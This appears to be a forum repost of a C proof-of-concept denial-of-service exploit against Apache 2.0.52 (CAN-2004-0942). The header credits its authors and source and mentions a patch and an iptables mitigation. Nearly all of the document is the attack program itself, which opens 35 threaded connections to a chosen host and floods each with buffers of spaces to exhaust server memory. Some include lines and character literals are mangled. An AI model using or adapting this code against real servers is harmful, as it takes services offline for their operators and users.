文章作者：j0hnylightning at gmail dot com & dguido at gmail dot com
复制内容到剪贴板
代码:
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52
j0hnylightning at gmail dot com
dguido at gmail dot com
Sends a request that starts with:
GET / HTTP/1.0
8000 spaces
8000 spaces
8000 spaces
...
8000 times
Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.
Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
[url]http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html[/url]
More info:
[url]http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942[/url]
Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.
This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch
v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/
#include <'stdio.h>
#include <'errno.h>
#include <'string.h>
#include <'stdlib.h>
#include <'unistd.h>
#include <'netdb.h>
#include <'sys/types.h>
#include <'sys/socket.h>
#include <'netinet/in.h>
#include <'arpa/inet.h>
#include <'pthread.h>
#define DEST_PORT 80
void *squirtIt(char *hName);
char attackBuf[8000];
char letsGetStarted[128];
int main(int argc, char **argv){
int num_connect;
int ret;
pthread_t tid[35];
sprintf(letsGetStarted, "GET / HTTP/1.0 ");
memset(attackBuf, ' ', 8000);
attackBuf[7998]=' ';
attackBuf[7999]='';
if (argc != 2){
fprintf(stderr, "Usage: %s <host name> ", argv[0]);
exit(1);
}
for(num_connect = 0; num_connect < 35; num_connect++){
ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]);
}
/* assuming any of these threads actually terminate, this waits for
all of them */
for(num_connect = 0; num_connect < 35; num_connect++){
pthread_join(tid[num_connect], NULL);
}
return 0;
}
void *squirtIt(char *hName){
int sock, i;
struct hostent *target;
struct sockaddr_in addy;
if((target = gethostbyname(hName)) == NULL){
herror("gethostbyname()");
exit(1);
}
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket()");
exit(1);
}
addy.sin_family = AF_INET;
addy.sin_port = htons(DEST_PORT);
bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
memset(&(addy.sin_zero), '', 8);
if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
perror("connect()");
exit(1);
}
send(sock, letsGetStarted, strlen(letsGetStarted), 0);
for(i=0; i < 8000; i++){
send(sock, attackBuf, strlen(attackBuf), 0);
}
close(sock);
}
